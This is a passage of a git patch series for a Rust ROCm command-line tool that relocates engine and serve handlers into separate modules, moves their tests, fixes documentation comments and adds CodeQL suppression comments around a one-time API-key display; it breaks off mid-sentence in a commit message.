DetectRequest, DetectResponse, EngineMethod, InstallRequest, InstallResponse, @@ -29,13 +30,24 @@ use crate::EnginesCommand; use crate::therock; use crate::{ apply_app_path_env, engine_request, engine_request_with_env_root, ensure_libatomic_for_torch, - ensure_libnuma_for_torch, ensure_openmpi_for_vllm, path_is_same_or_inside, - record_cli_audit_event, recover_setup_runtime_registration, render_engine_inventory_text, - resolve_engine_selection, resolve_runtime_selector_to_exact_key, select_runtime_manifest, - settle_engine_install, validate_engine_selection_runtime, - validate_runtime_manifest_for_activation, + ensure_libnuma_for_torch, ensure_openmpi_for_vllm, normalize_path_for_compare, + record_cli_audit_event, recover_setup_runtime_registration, + render_engine_inventory_text_with_paths, resolve_engine_selection, + resolve_runtime_selector_to_exact_key, select_runtime_manifest, settle_engine_install, + validate_engine_selection_runtime, validate_runtime_manifest_for_activation, }; +pub(crate) fn render_engine_inventory_text() -> String { + let paths = AppPaths::discover().ok(); + render_engine_inventory_text_with_paths(paths.as_ref()) +} + +fn path_is_same_or_inside(path: &Path, base: &Path) -> bool { + let path = normalize_path_for_compare(path); + let base = normalize_path_for_compare(base); + runtime_path_is_same_or_inside(&path, &base) +} + pub(crate) fn engines(command: EnginesCommand) -> Result<()> { match command { EnginesCommand::List => { diff --git a/apps/rocm/src/main.rs b/apps/rocm/src/main.rs index 694290db0..9a9f6e50e 100644 --- a/apps/rocm/src/main.rs +++ b/apps/rocm/src/main.rs @@ -23,19 +23,18 @@ mod storage; mod therock; mod uninstall; -// Per-command handler fns mechanically relocated into modules. +// Per-command handlers mechanically relocated into modules — fns, plus the +// types (e.g. `ServeArgs`, driver-plan types) and command-local selection +// types (e.g. `select_serve_engine`) that moved with their cluster. // Dispatch call sites stay byte-identical via these re-imports (upstream-sync -// mergeability); only the fn definitions moved out of main.rs. +// mergeability). use crate::automations::automations; -use crate::driver_install::{ - empty_as_unknown, install_driver, parse_os_release_field, read_os_release, - reconcile_driver_install, run_argv_with_stdin, -}; +use crate::driver_install::{install_driver, reconcile_driver_install}; use crate::engines_cmd::{ engine_manages_own_runtime, engines, env_root_for_engine_install, env_root_for_service, runtime_key_for_python, runtime_manifest_for_selector, }; -use crate::serve_cmd::{ServeArgs, serve}; +use crate::serve_cmd::{ServeArgs, select_serve_engine, serve}; use crate::uninstall::uninstall; use anyhow::{Context, Result, bail}; @@ -52,16 +51,15 @@ use rocm_core::{ PERMISSIONS_MODE_ASK, PERMISSIONS_MODE_FULL_ACCESS, RocmCliConfig, TELEMETRY_MODE_LOCAL, TELEMETRY_MODE_OFF, WatcherMode, append_audit_event, builtin_model_recipes, builtin_watcher, builtin_watchers, connect_tcp_stream, daemon_binary_path, default_engine_for_platform, - detect_host_gfx_target, engine_binary_path, engine_plugin_dirs, format_host_port, - format_http_base_url, interactive_terminal, load_model_recipe_registry, + detect_host_gfx_target, detect_host_gpu_summary, engine_binary_path, engine_plugin_dirs, + format_host_port, format_http_base_url, interactive_terminal, load_model_recipe_registry, load_recent_audit_events, load_recent_automation_events, load_recent_automation_proposals, managed_pip_cache_dir, managed_service_endpoint_readiness, model_artifact_cache_status, model_catalog_platforms, model_recipe_featured, model_recipe_target_platform_label, normalize_therock_family, platform_matches_gfx_family, preferred_serve_engine_for_host_gpu_summary, process_is_running, read_http_response_bounded, resolve_builtin_model_recipe, runtime_install_root_is_protected, - runtime_path_is_same_or_inside, runtime_python_executable_in_env, uv_cache_source, - write_all_tcp_stream, + runtime_python_executable_in_env, uv_cache_source, write_all_tcp_stream, }; use rocm_engine_protocol::{ DEFAULT_LOG_TAIL_LINES, DetectRequest, DetectResponse, DevicePolicy, @@ -6628,13 +6626,7 @@ fn paths_equivalent(left: &Path, right: &Path) -> bool { rocm_core::runtime_paths_equivalent(&left, &right) } -fn path_is_same_or_inside(path: &Path, base: &Path) -> bool { - let path = normalize_path_for_compare(path); - let base = normalize_path_for_compare(base); - runtime_path_is_same_or_inside(&path, &base) -} - -fn normalize_path_for_compare(path: &Path) -> PathBuf { +pub(crate) fn normalize_path_for_compare(path: &Path) -> PathBuf { if let Ok(canonical) = path.canonicalize() { return canonical; } @@ -6787,6 +6779,46 @@ const fn system_package_install_action( } } +pub(crate) const fn empty_as_unknown(value: &str) -> &str { + if value.is_empty() { "" } else { value } +} + +pub(crate) fn parse_os_release_field(text: &str, key: &str) -> Option { + for line in text.lines() { + let Some((name, raw_value)) = line.split_once('=') else { + continue; + }; + if name != key { + continue; + } + return Some(raw_value.trim().trim_matches('"').to_owned()); + } + None +} + +pub(crate) fn read_os_release() -> Result { + fs::read_to_string("/etc/os-release").context("failed to read /etc/os-release") +} + +/// Run a command given as an argv vector directly, without going through a shell. +/// +/// Used for [`run_system_package_install_plan`], whose commands are modeled as +/// argv vectors so no shell quoting or `sudo`-prefix string handling is needed. +pub(crate) fn run_argv_with_stdin(argv: &[String], stdin: Stdio) -> Result<()> { + let (program, args) = argv + .split_first() + .context("install command has no program to run")?; + let status = ProcessCommand::new(program) + .args(args) + .stdin(stdin) + .status() + .with_context(|| format!("failed to launch `{}`", argv.join(" ")))?; + if !status.success() { + bail!("`{}` exited with {status}", argv.join(" ")); + } + Ok(()) +} + /// Ensure the OpenMPI runtime that vLLM requires is present before the vLLM wheel /// is installed. On Linux/WSL, when OpenMPI is missing, this installs it through /// the system package manager. @@ -13530,11 +13562,6 @@ fn plain_status_label(status: &str) -> String { status.replace('_', " ") } -pub(crate) fn render_engine_inventory_text() -> String { - let paths = AppPaths::discover().ok(); - render_engine_inventory_text_with_paths(paths.as_ref()) -} - /// Marker shown beside the engine `serve`/CLI commands default to. Every /// place that renders this glyph MUST use this constant so the rendered /// character and the legend text stay in sync. @@ -31993,6 +32020,70 @@ install therock"; ); } + #[test] + fn render_engine_inventory_text_honors_configured_default_engine() { + // Regression: this renderer used to mark only `default_engine_for_host`, + // ignoring a configured `default_engine` — the same host-vs-configured + // precedence `select_serve_engine` and `append_examine_engine_inventory` + // already honor. Pick whichever engine the host does NOT prefer so the + // configured value is guaranteed to actually change the marked engine. + let (root, paths) = test_paths("engine-inventory-configured-default"); + let host_default = + rocm_core::default_engine_for_host(&rocm_core::detect_host_gpu_summary(Some(&paths))); + let configured = if host_default == "vllm" { + "lemonade" + } else { + "vllm" + }; + let config = RocmCliConfig { + default_engine: Some(configured.to_owned()), + ..RocmCliConfig::default() + }; + config.save(&paths).expect("save config"); + + let rendered = render_engine_inventory_text_with_paths(Some(&paths)); + let _ = fs::remove_dir_all(root); + + assert!( + rendered.contains(&format!("{DEFAULT_ENGINE_MARKER} {configured}")), + "configured default engine {configured} must be marked; got:\n{rendered}" + ); + assert!( + !rendered.contains(&format!("{DEFAULT_ENGINE_MARKER} {host_default}")), + "host default {host_default} must not be marked once a different engine is configured; got:\n{rendered}" + ); + } + + #[test] + fn examine_treats_a_blank_configured_engine_as_unset() { + // Mirrors `select_serve_engine`'s guard: a config file with + // `default_engine = ""` must fall back to the host preference rather + // than reporting an empty engine name as "effective" and marking none + // of the real ones. + let (root, paths) = test_paths("examine-engine-inventory-blank-configured"); + let config = RocmCliConfig { + default_engine: Some(String::new()), + ..RocmCliConfig::default() + }; + let mut output = String::new(); + + append_examine_engine_inventory(&mut output, &paths, &config, "vllm"); + + assert!( + output.contains("configured_default_engine: "), + "a blank configured value must read as unset:\n{output}" + ); + assert!( + output.contains("effective_default_engine: vllm"), + "a blank configured value must fall back to the host default:\n{output}" + ); + assert!( + output.contains(" * vllm "), + "the '*' marker must land on the host's default, not an empty name:\n{output}" + ); + let _ = fs::remove_dir_all(root); + } + #[test] fn friendly_engine_detect_notes_hide_probe_and_path_noise() { let lemonade = friendly_engine_detect_notes( @@ -33333,6 +33424,13 @@ install therock"; let _ = fs::remove_dir_all(&root); } + // ---- Phase 9: reroute dispatch (bare `rocm` + interactive `rocm chat`) ---- + // + // The interactive branches require a real TTY (`interactive_terminal()`), + // which is unavailable in CI, and the dash visuals are trust-prior. These + // tests instead PROVE the dispatch TARGET changed: the two interactive + // handlers now call `dash::run_chat` and no longer call `tui::run`. We read + // this source file at test time and assert on the handler bodies. fn main_rs_source() -> String { let path = PathBuf::from(env!("CARGO_MANIFEST_DIR")) .join("src") diff --git a/apps/rocm/src/serve_cmd.rs b/apps/rocm/src/serve_cmd.rs index 2aa1ecb82..218c17873 100644 --- a/apps/rocm/src/serve_cmd.rs +++ b/apps/rocm/src/serve_cmd.rs @@ -9,8 +9,12 @@ //! re-imported via `use crate::serve_cmd::{serve, ServeArgs};`). `Cli` //! remains at the crate root, as does `DevicePolicyArg` (part of the clap //! arg tree). The managed-service-spawning tail (`start_managed_service`, -//! `run_attached_service`, etc.) stays in `main.rs` since it's shared with -//! the background-service runner outside this cluster. +//! `run_attached_service`, `spawn_managed_engine_child`) stays in `main.rs`, +//! re-imported here — not because anything outside this cluster calls it +//! (it doesn't), but because it is entangled with other still-crate-root +//! launch helpers (`stream_attached_logs`, `record_cli_audit_event`, and +//! friends) that have not been relocated yet. Moving the spawning tail alone +//! would just relocate the `use` statements, not reduce the coupling. use std::fmt::Write as _; @@ -41,12 +45,12 @@ use crate::{ }; #[derive(Debug, Clone, Eq, PartialEq)] -struct ServeEngineSelection { - engine: String, - source: &'static str, +pub(crate) struct ServeEngineSelection { + pub(crate) engine: String, + pub(crate) source: &'static str, } -fn select_serve_engine( +pub(crate) fn select_serve_engine( explicit_engine: Option<&str>, configured_default: Option<&str>, recipe: Option<&ModelRecipeRecord>, @@ -954,11 +958,8 @@ mod tests { use super::*; use rocm_core::{ManagedServiceRecord, resolve_builtin_model_recipe}; + use crate::build_freeform_plan_with_recipes; use crate::tests::test_paths; - use crate::{ - DEFAULT_ENGINE_MARKER, append_examine_engine_inventory, build_freeform_plan_with_recipes, - render_engine_inventory_text_with_paths, - }; /// Persist a live-looking managed record claiming `gpu` — the same shape a /// real launch writes, with the current process id as the supervisor so the @@ -1628,70 +1629,6 @@ mod tests { assert!(engine_recipe_enables_tool_choice(with.as_ref())); } - #[test] - fn render_engine_inventory_text_honors_configured_default_engine() { - // Regression: this renderer used to mark only `default_engine_for_host`, - // ignoring a configured `default_engine` — the same host-vs-configured - // precedence `select_serve_engine` and `append_examine_engine_inventory` - // already honor. Pick whichever engine the host does NOT prefer so the - // configured value is guaranteed to actually change the marked engine. - let (root, paths) = test_paths("engine-inventory-configured-default"); - let host_default = - rocm_core::default_engine_for_host(&rocm_core::detect_host_gpu_summary(Some(&paths))); - let configured = if host_default == "vllm" { - "lemonade" - } else { - "vllm" - }; - let config = RocmCliConfig { - default_engine: Some(configured.to_owned()), - ..RocmCliConfig::default() - }; - config.save(&paths).expect("save config"); - - let rendered = render_engine_inventory_text_with_paths(Some(&paths)); - let _ = fs::remove_dir_all(root); - - assert!( - rendered.contains(&format!("{DEFAULT_ENGINE_MARKER} {configured}")), - "configured default engine {configured} must be marked; got:\n{rendered}" - ); - assert!( - !rendered.contains(&format!("{DEFAULT_ENGINE_MARKER} {host_default}")), - "host default {host_default} must not be marked once a different engine is configured; got:\n{rendered}" - ); - } - - #[test] - fn examine_treats_a_blank_configured_engine_as_unset() { - // Mirrors `select_serve_engine`'s guard: a config file with - // `default_engine = ""` must fall back to the host preference rather - // than reporting an empty engine name as "effective" and marking none - // of the real ones. - let (root, paths) = test_paths("examine-engine-inventory-blank-configured"); - let config = RocmCliConfig { - default_engine: Some(String::new()), - ..RocmCliConfig::default() - }; - let mut output = String::new(); - - append_examine_engine_inventory(&mut output, &paths, &config, "vllm"); - - assert!( - output.contains("configured_default_engine: "), - "a blank configured value must read as unset:\n{output}" - ); - assert!( - output.contains("effective_default_engine: vllm"), - "a blank configured value must fall back to the host default:\n{output}" - ); - assert!( - output.contains(" * vllm "), - "the '*' marker must land on the host's default, not an empty name:\n{output}" - ); - let _ = fs::remove_dir_all(root); - } - #[test] fn launch_lock_makes_gpu_select_and_claim_atomic() { // Regression for the serve read-select-launch race: the busy-GPU read and @@ -1765,12 +1702,4 @@ mod tests { let _ = fs::remove_dir_all(&root); } - - // ---- Phase 9: reroute dispatch (bare `rocm` + interactive `rocm chat`) ---- - // - // The interactive branches require a real TTY (`interactive_terminal()`), - // which is unavailable in CI, and the dash visuals are trust-prior. These - // tests instead PROVE the dispatch TARGET changed: the two interactive - // handlers now call `dash::run_chat` and no longer call `tui::run`. We read - // this source file at test time and assert on the handler bodies. } diff --git a/docs/architecture.md b/docs/architecture.md index 1bb95db68..805d0cd4c 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -14,7 +14,7 @@ This is the living module map for rocm-cli. It's a contributor-facing reference New subcommands and subsystems default to their own file from day one — they should not grow inside `main.rs`/`lib.rs` waiting for a future extraction pass. Two extraction patterns already exist in the codebase; use whichever fits: -- **Full domain extraction** — a subsystem's domain implementation moves into its own file that owns its own types (structs/enums), not just relocated functions; that ownership is what distinguishes this pattern from mechanical relocation below — every `apps/rocm` module is a private `mod x;` accessed via qualified paths (e.g. `comfyui::render_status(...)`) regardless of pattern, so module privacy alone doesn't tell the two apart. Where a subsystem has a dedicated clap subcommand, its command enum and dispatch function usually stay in `main.rs` (e.g. `ComfyuiCommand`/`comfyui()`, `RuntimesCommand`/`runtimes()`) — but not every domain-extracted module has one (`providers.rs` has no dedicated command enum; it's invoked from the existing chat/config command flows). In library crates (`crates/rocm-core`) the module is `pub mod x;` plus a `pub use x::{...};` re-export, since it's part of the crate's public API. This is the default for new subsystems. Examples: `apps/rocm/src/therock.rs` (`RuntimesCommand`), `comfyui.rs` (`ComfyuiCommand`), `providers.rs` (no dedicated command enum); `crates/rocm-core`'s `diagnose.rs`/`examine.rs`. +- **Full domain extraction** — a subsystem's domain implementation moves into its own file that owns its own types (structs/enums), not just relocated functions; that ownership is what distinguishes this pattern from mechanical relocation below — every `apps/rocm` module is a private `mod x;` regardless of pattern, so module privacy alone doesn't tell the two apart. Full-domain-extraction modules are typically reached via qualified paths (e.g. `comfyui::render_status(...)`); mechanically relocated modules are the exception — `automations.rs`, `uninstall.rs`, and (as of Phase 6a, ROCMAI-82) `driver_install.rs`, `engines_cmd.rs`, `serve_cmd.rs` are reached through `use crate::x::{...}` re-imports and called unqualified, matching their dispatch call sites' pre-extraction form. Where a subsystem has a dedicated clap subcommand, its command enum and dispatch function usually stay in `main.rs` (e.g. `ComfyuiCommand`/`comfyui()`, `RuntimesCommand`/`runtimes()`) — but not every domain-extracted module has one (`providers.rs` has no dedicated command enum; it's invoked from the existing chat/config command flows). In library crates (`crates/rocm-core`) the module is `pub mod x;` plus a `pub use x::{...};` re-export, since it's part of the crate's public API. This is the default for new subsystems. Examples: `apps/rocm/src/therock.rs` (`RuntimesCommand`), `comfyui.rs` (`ComfyuiCommand`), `providers.rs` (no dedicated command enum); `crates/rocm-core`'s `diagnose.rs`/`examine.rs`. - **Mechanical relocation** — a `pub(crate) fn` moves out verbatim, with shared types/config staying at the crate root and reached via `crate::`. Used for dispatch-adjacent clusters where a minimal, easy-to-review diff matters more than full extraction. Examples: `apps/rocm/src/automations.rs`, `uninstall.rs`. Variant: when the cluster is large enough to own private types used nowhere else (`driver_install.rs`, `engines_cmd.rs`, `serve_cmd.rs` — part of `main.rs`'s Phase 6a split, ROCMAI-82), those types move with it instead of staying in `main.rs`; the pattern is still "mechanical relocation" rather than full domain extraction because the dispatch fn itself relocates (`install_driver()`/`engines()`/`serve()`), which full domain extraction's command-enum-and-dispatch-fn-stay-in-`main.rs` convention above does not do. There is no file-line-count CI gate enforcing this — `too_many_lines = "allow"` in the workspace `Cargo.toml` is a deliberate, function-level choice, not an oversight. This convention is the guardrail instead. From c74b836e23314a2a18624d044e71b34d1d5d8c69 Mon Sep 17 00:00:00 2001 From: Jussi Elo Date: Wed, 7 Oct 2026 10:01:08 +0000 Subject: [PATCH 4/9] ROCMAI-82: suppress false-positive CodeQL cleartext-logging alerts The one-time terminal display of a freshly generated API key (already documented as the intended delivery channel on render_endpoint_client_config) is pre-existing, reviewed code that this refactor only moved into serve_cmd.rs or shifted within main.rs. CodeQL's incremental PR analysis re-flagged it as "new" purely because the diff is too large to match the moved/shifted lines back to their baseline location; four of the six alerts are already open, unrelated, pre-existing findings on main (#790, #791, #794, #795). Annotate each site with a codeql[rust/cleartext-logging] suppression comment explaining why it is a false positive, rather than dismissing the alerts out-of-band. Signed-off-by: Jussi Elo --- apps/rocm/src/main.rs | 11 +++++++++++ apps/rocm/src/serve_cmd.rs | 3 +++ 2 files changed, 14 insertions(+) diff --git a/apps/rocm/src/main.rs b/apps/rocm/src/main.rs index 9a9f6e50e..abc5aa1ab 100644 --- a/apps/rocm/src/main.rs +++ b/apps/rocm/src/main.rs @@ -4255,6 +4255,9 @@ fn print_managed_launch_plain(report: &ManagedLaunchReport, endpoint_api_key: Op } println!(" endpoint: {}", report.endpoint_url); if let Some(key) = endpoint_api_key { + // codeql[rust/cleartext-logging]: intentional one-time display of a freshly + // generated API key to the terminal so the user can copy it — the designed + // delivery channel documented on `render_endpoint_client_config`, not a log. print!( "{}", render_endpoint_client_config(&report.endpoint_url, key) @@ -4537,6 +4540,9 @@ fn run_attached_service( println!(" service_id: {service_id}"); println!(" endpoint: {endpoint}"); if let Some(key) = endpoint_api_key { + // codeql[rust/cleartext-logging]: intentional one-time display of a freshly + // generated API key to the terminal so the user can copy it — the designed + // delivery channel documented on `render_endpoint_client_config`, not a log. print!("{}", render_endpoint_client_config(&endpoint, key)); } println!(" streaming engine logs — Ctrl-D detaches (leaves it running), Ctrl-C stops it"); @@ -28302,8 +28308,13 @@ install therock"; #[test] fn endpoint_client_config_shows_key_once_with_bearer_guidance() { let rendered = render_endpoint_client_config("http://0.0.0.0:11435/v1", "secret-123"); + // codeql[rust/cleartext-logging]: dummy literal exercising the intentional + // one-time key display documented on `render_endpoint_client_config`; not a + // real credential or a log write. assert!(rendered.contains("secret-123"), "{rendered}"); + // codeql[rust/cleartext-logging]: see rationale above. assert!(rendered.contains("Authorization: Bearer"), "{rendered}"); + // codeql[rust/cleartext-logging]: see rationale above. assert!(rendered.contains("shown only now"), "{rendered}"); } diff --git a/apps/rocm/src/serve_cmd.rs b/apps/rocm/src/serve_cmd.rs index 218c17873..e1e27fa90 100644 --- a/apps/rocm/src/serve_cmd.rs +++ b/apps/rocm/src/serve_cmd.rs @@ -925,6 +925,9 @@ pub(crate) fn serve(args: ServeArgs) -> Result<()> { api_key: launched_key, notes, }; + // codeql[rust/cleartext-logging]: intentional one-time display of a freshly + // generated API key to the terminal so the user can copy it — the designed + // delivery channel, not a log; see `serve_summary::render_summary`. print!("{}", serve_summary::render_summary(&summary)); } else { spinner.clear(); From 3b80b049b9e28f38e1bdb5ae0e5ec89418363495 Mon Sep 17 00:00:00 2001 From: Jussi Elo Date: Wed, 7 Oct 2026 10:27:15 +0000 Subject: [PATCH 5/9] ROCMAI-82: fix stale doc/comment claims flagged by review Correct seven doc-accuracy findings from the pr-review-watcher round at 3b4d8b74, all in prose only, no behavior change: - docs/architecture.md: "dispatch fn" -> "handler fn" (install()/dispatch() stay in main.rs; only the handlers relocate); drop the "private types used nowhere else" claim for serve_cmd.rs (ServeEngineSelection/ServeArgs are pub(crate) and used from main.rs; only ServeGenerationDefaults is private); limit the unqualified-access claim to the five dispatch-adjacent clusters, since endpoint_keys.rs/logging.rs are also mechanically relocated but reached via qualified paths. - driver_install.rs/engines_cmd.rs headers: InstallTarget/Cli aren't referenced from either file; say so instead of claiming they're reached through `crate::`. - serve_cmd.rs header: same Cli correction, and widen the explanation for why serve-only helpers stay in main.rs. collect_serve_notes, validate_bind_host, resolve_endpoint_auth, ensure_public_bind_engine_supported, validate_pinned_gpu_index, and print_managed_launch_plain have no non-test caller left in main.rs and no entanglement with the spawning tail's launch helpers -- they stayed to keep this extraction a minimal diff, not because of coupling. Deferred per reviewer's own suggestion rather than widened into a bigger relocation in this PR. - main.rs re-import comment: select_serve_engine is a fn, not a "selection type", and its re-import serves assess_model_for_host, not dispatch. Signed-off-by: Jussi Elo --- apps/rocm/src/driver_install.rs | 4 ++-- apps/rocm/src/engines_cmd.rs | 10 ++++++---- apps/rocm/src/main.rs | 7 ++++--- apps/rocm/src/serve_cmd.rs | 24 ++++++++++++++++-------- docs/architecture.md | 4 ++-- 5 files changed, 30 insertions(+), 19 deletions(-) diff --git a/apps/rocm/src/driver_install.rs b/apps/rocm/src/driver_install.rs index 5b256d59b..4b2349a4f 100644 --- a/apps/rocm/src/driver_install.rs +++ b/apps/rocm/src/driver_install.rs @@ -8,8 +8,8 @@ //! `install()` dispatcher's call sites stay byte-identical //! (`install_driver(...)`/`reconcile_driver_install(...)`, re-imported via //! `use crate::driver_install::{install_driver, reconcile_driver_install};`). -//! `InstallTarget`/`Cli` remain in the crate root and are reached through -//! `crate::`. Unlike `automations.rs`/`uninstall.rs`, this cluster owns +//! `InstallTarget`/`Cli` remain in the crate root; neither is referenced +//! from this file. Unlike `automations.rs`/`uninstall.rs`, this cluster owns //! private types (`DriverInstallPlan` and friends) used nowhere else, so //! those moved here too rather than staying in `main.rs`. diff --git a/apps/rocm/src/engines_cmd.rs b/apps/rocm/src/engines_cmd.rs index c3f5920c4..999e8daac 100644 --- a/apps/rocm/src/engines_cmd.rs +++ b/apps/rocm/src/engines_cmd.rs @@ -6,10 +6,12 @@ //! //! Mechanically relocated from `main.rs` with no behavior change — the //! `dispatch()` call site stays byte-identical (`engines(command)`, -//! re-imported via `use crate::engines_cmd::engines;`). `EnginesCommand`/`Cli` -//! remain in the crate root. Several env-root/runtime helpers here are also -//! called from `serve_cmd.rs` and from other root-level commands, so they -//! stay `pub(crate)` rather than private. +//! re-imported via `use crate::engines_cmd::engines;`). `EnginesCommand` +//! remains in the crate root and is reached via `use crate::EnginesCommand`; +//! `Cli` is not referenced from this file. `engine_manages_own_runtime` is +//! also called from `serve_cmd.rs`; the other env-root/runtime helpers here +//! are used only from other root-level commands in `main.rs` — all stay +//! `pub(crate)` rather than private either way. use std::fs; use std::path::{Path, PathBuf}; diff --git a/apps/rocm/src/main.rs b/apps/rocm/src/main.rs index abc5aa1ab..248967fba 100644 --- a/apps/rocm/src/main.rs +++ b/apps/rocm/src/main.rs @@ -24,10 +24,11 @@ mod therock; mod uninstall; // Per-command handlers mechanically relocated into modules — fns, plus the -// types (e.g. `ServeArgs`, driver-plan types) and command-local selection -// types (e.g. `select_serve_engine`) that moved with their cluster. +// types (e.g. `ServeArgs`, driver-plan types) that moved with their cluster. // Dispatch call sites stay byte-identical via these re-imports (upstream-sync -// mergeability). +// mergeability); the exception is `select_serve_engine` (a fn, not a type), +// re-imported because `assess_model_for_host` calls it directly, not because +// dispatch needs it. use crate::automations::automations; use crate::driver_install::{install_driver, reconcile_driver_install}; use crate::engines_cmd::{ diff --git a/apps/rocm/src/serve_cmd.rs b/apps/rocm/src/serve_cmd.rs index e1e27fa90..2313843e5 100644 --- a/apps/rocm/src/serve_cmd.rs +++ b/apps/rocm/src/serve_cmd.rs @@ -6,15 +6,23 @@ //! //! Mechanically relocated from `main.rs` with no behavior change — the //! `dispatch()` call site stays byte-identical (`serve(ServeArgs { .. })`, -//! re-imported via `use crate::serve_cmd::{serve, ServeArgs};`). `Cli` -//! remains at the crate root, as does `DevicePolicyArg` (part of the clap -//! arg tree). The managed-service-spawning tail (`start_managed_service`, -//! `run_attached_service`, `spawn_managed_engine_child`) stays in `main.rs`, -//! re-imported here — not because anything outside this cluster calls it -//! (it doesn't), but because it is entangled with other still-crate-root +//! re-imported via `use crate::serve_cmd::{serve, ServeArgs};`). `Cli` is not +//! referenced from this file; `DevicePolicyArg` (part of the clap arg tree) +//! is, via `use crate::DevicePolicyArg`. +//! +//! Several `serve()`-only helpers stay in `main.rs` and are re-imported here +//! rather than moving, for two different reasons. The managed-service- +//! spawning tail (`start_managed_service`, `run_attached_service`, +//! `spawn_managed_engine_child`) is entangled with other still-crate-root //! launch helpers (`stream_attached_logs`, `record_cli_audit_event`, and -//! friends) that have not been relocated yet. Moving the spawning tail alone -//! would just relocate the `use` statements, not reduce the coupling. +//! friends) that have not been relocated yet, so moving it alone would just +//! relocate the `use` statements, not reduce the coupling. `collect_serve_notes`, +//! `validate_bind_host`, `resolve_endpoint_auth`, +//! `ensure_public_bind_engine_supported`, `validate_pinned_gpu_index`, and +//! `print_managed_launch_plain` have no such entanglement and no non-test +//! caller left in `main.rs` — they stayed to keep this extraction a minimal, +//! easy-to-review diff rather than a mixed move-and-reshuffle pass; a later +//! pass can relocate them along with their test module. use std::fmt::Write as _; diff --git a/docs/architecture.md b/docs/architecture.md index 805d0cd4c..dd2a78d53 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -14,8 +14,8 @@ This is the living module map for rocm-cli. It's a contributor-facing reference New subcommands and subsystems default to their own file from day one — they should not grow inside `main.rs`/`lib.rs` waiting for a future extraction pass. Two extraction patterns already exist in the codebase; use whichever fits: -- **Full domain extraction** — a subsystem's domain implementation moves into its own file that owns its own types (structs/enums), not just relocated functions; that ownership is what distinguishes this pattern from mechanical relocation below — every `apps/rocm` module is a private `mod x;` regardless of pattern, so module privacy alone doesn't tell the two apart. Full-domain-extraction modules are typically reached via qualified paths (e.g. `comfyui::render_status(...)`); mechanically relocated modules are the exception — `automations.rs`, `uninstall.rs`, and (as of Phase 6a, ROCMAI-82) `driver_install.rs`, `engines_cmd.rs`, `serve_cmd.rs` are reached through `use crate::x::{...}` re-imports and called unqualified, matching their dispatch call sites' pre-extraction form. Where a subsystem has a dedicated clap subcommand, its command enum and dispatch function usually stay in `main.rs` (e.g. `ComfyuiCommand`/`comfyui()`, `RuntimesCommand`/`runtimes()`) — but not every domain-extracted module has one (`providers.rs` has no dedicated command enum; it's invoked from the existing chat/config command flows). In library crates (`crates/rocm-core`) the module is `pub mod x;` plus a `pub use x::{...};` re-export, since it's part of the crate's public API. This is the default for new subsystems. Examples: `apps/rocm/src/therock.rs` (`RuntimesCommand`), `comfyui.rs` (`ComfyuiCommand`), `providers.rs` (no dedicated command enum); `crates/rocm-core`'s `diagnose.rs`/`examine.rs`. -- **Mechanical relocation** — a `pub(crate) fn` moves out verbatim, with shared types/config staying at the crate root and reached via `crate::`. Used for dispatch-adjacent clusters where a minimal, easy-to-review diff matters more than full extraction. Examples: `apps/rocm/src/automations.rs`, `uninstall.rs`. Variant: when the cluster is large enough to own private types used nowhere else (`driver_install.rs`, `engines_cmd.rs`, `serve_cmd.rs` — part of `main.rs`'s Phase 6a split, ROCMAI-82), those types move with it instead of staying in `main.rs`; the pattern is still "mechanical relocation" rather than full domain extraction because the dispatch fn itself relocates (`install_driver()`/`engines()`/`serve()`), which full domain extraction's command-enum-and-dispatch-fn-stay-in-`main.rs` convention above does not do. +- **Full domain extraction** — a subsystem's domain implementation moves into its own file that owns its own types (structs/enums), not just relocated functions; that ownership is what distinguishes this pattern from mechanical relocation below — every `apps/rocm` module is a private `mod x;` regardless of pattern, so module privacy alone doesn't tell the two apart. Full-domain-extraction modules are typically reached via qualified paths (e.g. `comfyui::render_status(...)`); mechanically relocated modules with no owned types are reached the same way (e.g. `endpoint_keys::...`, `logging::init`). The exception — reached unqualified through `use crate::x::{...}` re-imports, matching their dispatch call sites' pre-extraction form — is limited to the clusters that moved as a dispatch-adjacent group: `automations.rs`, `uninstall.rs`, and (as of Phase 6a, ROCMAI-82) `driver_install.rs`, `engines_cmd.rs`, `serve_cmd.rs`. Where a subsystem has a dedicated clap subcommand, its command enum and dispatch function usually stay in `main.rs` (e.g. `ComfyuiCommand`/`comfyui()`, `RuntimesCommand`/`runtimes()`) — but not every domain-extracted module has one (`providers.rs` has no dedicated command enum; it's invoked from the existing chat/config command flows). In library crates (`crates/rocm-core`) the module is `pub mod x;` plus a `pub use x::{...};` re-export, since it's part of the crate's public API. This is the default for new subsystems. Examples: `apps/rocm/src/therock.rs` (`RuntimesCommand`), `comfyui.rs` (`ComfyuiCommand`), `providers.rs` (no dedicated command enum); `crates/rocm-core`'s `diagnose.rs`/`examine.rs`. +- **Mechanical relocation** — a `pub(crate) fn` moves out verbatim, with shared types/config staying at the crate root and reached via `crate::`. Used for dispatch-adjacent clusters where a minimal, easy-to-review diff matters more than full extraction. Examples: `apps/rocm/src/automations.rs`, `uninstall.rs`. Variant: when the cluster is large enough to own private types (part of `main.rs`'s Phase 6a split, ROCMAI-82), those types move with it instead of staying in `main.rs` — `driver_install.rs`'s and `engines_cmd.rs`'s types are used nowhere else; `serve_cmd.rs`'s `ServeEngineSelection`/`ServeArgs` stay `pub(crate)` and are also used from `main.rs`, though its `ServeGenerationDefaults` is private. The pattern is still "mechanical relocation" rather than full domain extraction because the handler fn itself relocates (`install_driver()`/`engines()`/`serve()`) while the top-level dispatch fns (`install()`/`dispatch()`) stay in `main.rs` — which full domain extraction's command-enum-and-dispatch-fn-stay-in-`main.rs` convention above does not do. There is no file-line-count CI gate enforcing this — `too_many_lines = "allow"` in the workspace `Cargo.toml` is a deliberate, function-level choice, not an oversight. This convention is the guardrail instead. From fd17f31818e06d4e80e573c96984d93b98a66bac Mon Sep 17 00:00:00 2001 From: Jussi Elo Date: Wed, 7 Oct 2026 11:50:00 +0000 Subject: [PATCH 6/9] ROCMAI-82: fix misplaced CodeQL suppression-comment tags The codeql[rust/cleartext-logging] tags added in 95f6d0af did not (and could not) suppress anything: Rust's CodeQL pack has no AlertSuppression.ql query yet (github/codeql#21637, fix pending in github/codeql#21638), so the tag has zero effect regardless of placement today. But placement was also wrong on its own terms -- GitHub's suppression comments only cover the single line immediately following them, and three of the five tags sat atop multi-line rationale blocks instead of as the last line directly before the flagged code. Move each tag to be the last comment line immediately before its flagged statement, with the rationale prose above it. This is inert now but will start working the moment Rust gains AlertSuppression.ql support, with no further edits needed here. The five alerts this was meant to suppress (#794, #795, #830, #833, 